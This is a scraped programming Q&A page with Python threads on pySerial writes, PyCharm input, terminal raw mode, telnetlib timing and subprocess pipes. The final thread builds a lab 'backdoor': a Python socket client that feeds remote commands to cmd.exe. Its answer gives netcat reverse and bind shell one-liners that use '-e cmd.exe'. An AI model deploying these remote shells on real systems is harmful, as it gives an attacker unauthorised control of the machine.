Mysterious behavior with pySerial - python

I got the following problem:
I have a Arduino here which is connected to my Mac.
The Arduino is reading and responding to serial data.
I made a little python3-script which takes user input and uses
pySerial to write commands like 'set(13, 255)~' to the Arduino.
That is just working fine:
while 1:
cmd = input("<<< ")
cmd += '~'
if cmd != "~":
serialPort.write(cmd.encode())
output = str(serialPort.readline()).upper()[2:-5]
if output != " ":
print(">>> ", output)
Here's the Problem:
If I want to send some "automated" commands within the script, e.g. in a loop, the Arduino is not responding anymore, even the commands send are
the same, also encoded and of type "byte".
for i in range[0, 256]:
cmd = 'set(13, '
cmd += str(i)
cmd += ')~'
serialPort.write(cmd.encode())
time.sleep(0.1)
The strange thing is, if i first declare the variable (cmd) as an input, its also working fine, but that means a manual interrupt every time the command is send.
cmd = input()
cmd = 'set(13, '
cmd += str(i)
cmd += ')~'
After some hours of research i absolutely have no idea what the problem might be. As I said, the datatype is always byte after encoding.

I don't know about PySerial, but I suspect it's because the write call don't send the data immediately.
When you use the input, it will add a newline to the buffer, which may trigger the write call to flush automatically.
In the other piece of code you have, you don't add a newline to the buffer and it won't flush the data, before the buffer is big enough.
So with a flush() call it should force send it.
Hope it makes sense

Well, I just had to make a longer interrupt after connecting to the port.
(Has not been a problem since I had to give some input so far)

Related

Why is Pycharm failing to convert string to integer?

num = 0
for i in range(5):
ask = int(input())
if abs(ask) > 0:
num = ask
print(num)
When I run the code, it lets me input the first string. But once I enter the second string, the program crashes and says "pythonProject\main.py", line 3, in
ask = int(input())
ValueError: invalid literal for int() with base 10: ''"
What's going on?
My input: I just type 1, press enter, type 2, press enter and then it crashes. I am sure it is not an error where I click enter too quickly, or I accidentally type in an empty string because I've ran the code multiple times.
What have I tried so far?
Creating a new project and pasting the code -> didn't work
Asking my friend to copy the code onto his PyCharm and run it -> worked fine on his computer
'Edit configurations', uncheck 'emulate code in output console' -> didn't work, it was already unchecked
Checked that I was running the correct file in the project -> didn't work, I was running the right file
EDIT:
FIXED, just needed to check 'Emulate code in output console' rather than uncheck it. Not sure why this works though, or how I can keep it checked for all future projects - rather than having to manually check it every time.
FIXED, just needed to check 'Emulate code in output console' rather than uncheck it. Not sure why this works though, or how I can keep it checked for all future projects - rather than having to manually check it every time.
The problem is with the input, as you are either pressing enter without any input (empty string) or you are entering a float value. This thread might help you in this case. The code is working fine when I input an integer and gives the same error when entered empty string or a float value.
To get it work you need to check "Emulate code in output console".
I've answered in the comments section and I'm glad it worked out, here is an explanation:
You need to know a concept of "terminal emulator" to understand why and how this works. When a program is ran (at least on UNIX-like operating systems), it has three I/O streams: stdin, stdout and stderr. The stdin is used to input data, and two others are for output.
Input or output stream is just a buffer used to communicate with the program back and forth. Once something is written to the buffer, it can be read from there. If the buffer is empty, an attempt to read from there will cause stall until the buffer has something in it. More about stdio: https://en.wikipedia.org/wiki/Standard_streams
When the program is ran through the terminal emulator, I/O streams are connected to this emulator, so whatever you type in the terminal window is written to your stdin by default. Whatever your program writes to the stdout and stderr is displayed on the screen. (However, this behavior may be changed using pipes, so you can pass data from some file to the stdin and also you can redirect the output to the file)
Here is the history behind terminal emulators, to understand, why is it implemented this way: https://en.wikipedia.org/wiki/Terminal_emulator#Computer_terminals
For example, you have a simple program:
s = input('Enter string: ')
print(f'stdout: {s}')
If you run it from the terminal and type "TEST":
$ python3 test.py
TEST
stdout: TEST
But you also can, for example, pass data directly to stdin, and redirect output to the file:
$ echo "ABCDEF" | python3 test.py > OUTPUT.txt
there will be no text in the terminal, but OUPUT.txt will appear. It will contain:
stdout: ABCDEF
Now, about PyCharm:
By default, when it runs your script, it does not automatically emulate terminal in the output window. It simply does not send anything to the stdin and it won't react to pressed keys. When your program gets to the line with input(), it starts to read the stdin stream until it gets \n character from the stream (indicating that user has pressed Return key). As nothing gets sent to the stream, it will wait infinitely.
Useful tip: for testing, instead of just typing something into the terminal every time, you can also check "Redirect input from:" and choose an input file.

Get STDIN before user hits enter key

I'm relatively new to socket programming and stdin / stdout and I need to know if there is a way to take input from STDIN before the user hits enter.
For example, if they type 'F' but don't hit enter, I need to see that 'F'.
I need this for a basic chatting app, and I need the user's typing to go to the next line so I can print incoming messages without breaking their text.
I've tried freezing STDOUT until the user is done typing, but this just freezes the minute the code reaches the input code block.
Current code:
### Main Handle ###
def Handler():
print("\nConnected.\n")
print(f"{server.recv(1028).decode()}\n")
def _send():
while True:
sys.stdout = buffer = io.StringIO()
text = input()
sys.stdout = old_stdout
print(buffer.getvalue())
try:
server.sendall(text.encode())
except:
pass
def _get():
while True:
print(stdin)
try:
message = server.recv(1028).decode()
if message == "":
print("\nYou got disconnected from the server, sorry bud. :C")
break
except ConnectionResetError:
print("\nYou got disconnected from the server, sorry bud. :C")
break
print(f"\n{message}")
_gthread = Thread(target = _get)
_gthread.start()
_sthread = Thread(target = _send)
_sthread.start()
while True:
pass
Any help at all is greatly appreciated. :)
The shell or the terminal emulator, or both, would ask, as part of their startup sequence, to put the terminal into "cooked" mode, which buffers input until it sees a new line. This buffering happens in the terminal driver, before it even reaches your program, which is why your program won't see individual characters in stdin.
You need to have your program put the terminal into it's raw (uncooked) mode, or a variation of raw mode that doesn't do buffering.
Python example.
Note that in the "real" raw mode, CTRL+C and friends don't work, so you probably don't want tty.setraw() but rather tty.setcbreak().

Python - program stops to read standard input

I'm writting a python script which receive several parameters on his standard input.
I use the raw_input() function which works for the firsts parameters but totally freeze when I call it inside a while loop.
Here is my code:
def launch_trade(logger):
Kerviel = Trader()
param = raw_input() #Works fine
Kerviel.Capital = float(param)
param = raw_input() #Works fine
Kerviel.NbDays = int(param)
param = raw_input() #Works Fine
while (param != '--end--'):
Kerviel.action(float(param), logger)
Kerviel.Cours.append(param)
param = raw_input() #Here it infinite wait
Actually this program works when I send all parameters myself in my console. But it is supposed to be called by a php script which sends it parameters on his stdin.
Why does this last raw_input() doesn't work when parameters are sent by a php script ?
Thanks for your answers and sorry for bad english.
Each input or raw_input call waits for a line ending with '\n'. A live user hits keys ending with the Enter key. A program has to send strings to stdout, connected to stdin, ending with '\n'. So the problem must be that the php program is not sending enough, or that not eveything it sends gets to your python program. If the latter, it could be that the php program needs to 'flush' stdout to push the last string to python. When a file is closed, flush is automatic, but stdout would not ordinarily be closed.

telnetlib write() some command not working in Python

I'm using Python's telnetlib.write() function for quite some time without issues, but in this case the command that I want to send does nothing. While the same command sent through SecureCRT works fine.
Here's more or less what I have:
import telnetlib
tn = telnetlib.Telnet(HOST)
tn.read_until('login: ')
tn.write(user + '\n')
if pswrd:
tn.read_until('Password: ')
tn.write(pswrd + '\n')
tn.write('echo "" > /path/to/file.log' + '\n')
tn.write('exit\n')
tn.close()
What this should do is clear the contents of file.log, but the file remains the same. Why is this happening?
If it's worth mentioning, the telnet server is running SunOS. Thanks!
Your problem is almost certainly a timing error.
Without being able to debug it, or seeing the results of you debugging it, it's hard to be sure exactly what the problem is, but my guess is something like this:
The SunOS machine's telnetd server has a relatively small buffer, say 16 bytes. So, if you send it that whole command before the shell has started, it's only going to send 16 bytes of it to the shell. Which will, of course, not do what you want. But if you wait until the shell has started, it'll get the whole command, and therefore work.
By adding tn_setdebuglevel(1) to your program, you're changing the timing—the extra time it takes to print out the debugging information is just enough to (usually) give the shell time to start before you've filled up the buffer, so it happens to work.
The password prompt probably has the same problem, which you solved by using `tn.read_until('Password: '). You just need to do the same thing here. For example (depending on what the expected prompt is):
# ...
tn.read_until('$')
tn.write('echo "" > /path/to/file.log\n')
tn.read_until('$')
tn.write('exit\n')
tn.close()

python subprocess stdin.write a string error 22 invalid argument

i have two python files communicating with socket. when i pass the data i took to stdin.write i have error 22 invalid argument. the code
a="C:\python27\Tools"
proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
data = s.recv(1024) # s is the socket i created
proc.stdin.write(data) ##### ERROR in this line
output = proc.stdout.readline()
print output.rstrip()
remainder = proc.communicate()[0]
print remainder
Update
OK basically i want to create something like a backdoor on a system, in a localhost inside a network lab. this is for educational purpose. i have two machines. 1) is running ubuntu and i have the in server this code:
import socket,sys
s=socket.socket()
host = "192.168.2.7" #the servers ip
port = 1234
s.bind((host, port))
s.listen(1) #wait for client connection.
c, addr = s.accept() # Establish connection with client.
print 'Got connection from', addr
c.send('Thank you for connecting')
while True:
command_from_user = raw_input("Give your command: ") #read command from the user
if command_from_user == 'quit': break
c.send(command_from_user) #sending the command to client
c.close() # Close the connection
have this code for the client:
import socket
import sys
import subprocess, os
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Socket created'
host = "192.168.2.7" #ip of the server machine
port = 1234
s.connect((host,port)) #open a TCP connection to hostname on the port
print s.recv(1024)
a="C:\python27\Tools"
proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
while True:
data = s.recv(1024)
if (data == "") or (data=="quit"):
break
proc.stdin.write('%s\n' % data)
proc.stdin.flush()
remainder = proc.communicate()[0]
print remainder
stdoutput=proc.stdout.read() + proc.stderr.read()
s.close #closing the socket
and the error is in the client file
Traceback (most recent call last): File "ex1client2.py", line 50, in proc.stdin.write('%s\n' % data) ValueError: I/O operation on closed file
basically i want to run serial commands from the server to the client and get the output back in the server. the first command is executed, the second command i get this error message.
The main problem which led me to this solution is with chanhing directory command. when i excecute cd "path" it doesn't change.
Your new code has a different problem, which is why it raises a similar but different error. Let's look at the key part:
while True:
data = s.recv(1024)
if (data == "") or (data=="quit"):
break
proc.stdin.write('%s\n' % data)
proc.stdin.flush()
remainder = proc.communicate()[0]
print remainder
stdoutput=proc.stdout.read() + proc.stderr.read()
The problem is that each time through this list, you're calling proc.communicate(). As the docs explain, this will:
Send data to stdin. Read data from stdout and stderr, until end-of-file is reached. Wait for process to terminate.
So, after this call, the child process has quit, and the pipes are all closed. But the next time through the loop, you try to write to its input pipe anyway. Since that pipe has been closed, you get ValueError: I/O operation on closed file, which means exactly what it says.
If you want to run each command in a separate cmd.exe shell instance, you have to move the proc = subprocess.Popen('cmd.exe', …) bit into the loop.
On the other hand, if you want to send commands one by one to the same shell, you can't call communicate; you have to write to stdin, read from stdout and stderr until you know they're done, and leave everything open for the next time through the loop.
The downside of the first one is pretty obvious: if you do a cd \Users\me\Documents in the first command, then dir in the second command, and they're running in completely different shells, you're going to end up getting the directory listing of C:\python27\Tools rather than C:\Users\me\Documents.
But the downside of the second one is pretty obvious too: you need to write code that somehow either knows when each command is done (maybe because you get the prompt again?), or that can block on proc.stdout, proc.stderr, and s all at the same time. (And without accidentally deadlocking the pipes.) And you can't even toss them all into a select, because the pipes aren't sockets. So, the only real option is to create a reader thread for stdout and another one for stderr, or to get one of the async subprocess libraries off PyPI, or to use twisted or another framework that has its own way of doing async subprocess pipes.
If you look at the source to communicate, you can see how the threading should work.
Meanwhile, as a side note, your code has another very serious problem. You're expecting that each s.recv(1024) is going to return you one command. That's not how TCP sockets work. You'll get the first 2-1/2 commands in one recv, and then 1/4th of a command in the next one, and so on.
On localhost, or even a home LAN, when you're just sending a few small messages around, it will work 99% of the time, but you still have to deal with that 1% or your code will just mysteriously break sometimes. And over the internet, and even many real LANs, it will only work 10% of the time.
So, you have to implement some kind of protocol that delimits messages in some way.
Fortunately, for simple cases, Python gives you a very easy solution to this: makefile. When commands are delimited by newlines, and you can block synchronously until you've got a complete command, this is trivial. Instead of this:
while True:
data = s.recv(1024)
… just do this:
f = s.makefile()
while True:
data = f.readline()
You just need to remember to close both f and s later (or s right after the makefile, and f later). A more idiomatic use is:
with s.makefile() as f:
s.close()
for data in f:
One last thing:
OK basically i want to create something like a backdoor on a system, in a localhost inside a network lab
"localhost" means the same machine you're running one, so "a localhost inside a network lab" doesn't make sense. I assume you just meant "host" here, in which case the whole thing makes sense.
If you don't need to use Python, you can do this whole thing with a one-liner using netcat. There are a few different versions with slightly different syntax. I believe Ubuntu comes with GNU netcat built-in; if not, it's probably installable with apt-get netcat or apt-get nc. Windows doesn't come with anything, but you can get ports of almost any variant.
A quick google for "netcat remote shell" turned up a bunch of blog posts, forum messages, and even videos showing how to do this, such as Using Netcat To Spawn A Remote Shell, but you're probably better off googling for netcat tutorials instead.
The more usual design is to have the "backdoor" machine (your Windows box) listen on a port, and the other machine (your Ubuntu) connect to it, so that's what most of the blog posts/etc. will show you. The advantage of this direction is that your "backyard server" listens forever—you can connect up, do some stuff, quit, connect up again later, etc. without having to go back to the Windows box and start a new connection.
But the other way around, with a backyard client on the Windows box, is just as easy. On your Ubuntu box, start a server that just connects the terminal to the first connection that comes in:
nc -l -p 1234
Then on your Windows box, make a connection to that server, and connect it up to cmd.exe. Assuming you've installed a GNU-syntax variant:
nc -e cmd.exe 192.168.2.7 1234
That's it. A lot simpler than writing it in Python.
For the more typical design, the backdoor server on Windows runs this:
nc -k -l -p 1234 -e cmd.exe
And then you connect up from Ubuntu with:
nc windows.machine.address 1234
Or you can even add -t to the backdoor server, and just connect up with telnet instead of nc.
The problem is that you're not actually opening a subprocess at all, so the pipe is getting closed, so you're trying to write to something that doesn't exist. (I'm pretty sure POSIX guarantees that you'll get an EPIPE here, but on Windows, subprocess isn't using a POSIX pipe in the first place, so there's no guarantee of exactly what you're going to get. But you're definitely going to get some error.)
And the reason that happens is that you're trying to open a program named '\n' (as in a newline, not a backslash and an n). I don't think that's even legal on Windows. And, even if it is, I highly doubt you have an executable named '\n.exe' or the like on your path.
This would be much easier to see if you weren't using shell=True. In that case, the Popen itself would raise an exception (an ENOENT), which would tell you something like:
OSError: [Errno 2] No such file or directory: '
'
… which would be much easier to understand.
In general, you should not be using shell=True unless you really need some shell feature. And it's very rare that you need a shell feature and also need to manually read and write the pipes.
It would also be less confusing if you didn't reuse data to mean two completely different things (the name of the program to run, and the data to pass from the socket to the pipe).

Categories

Resources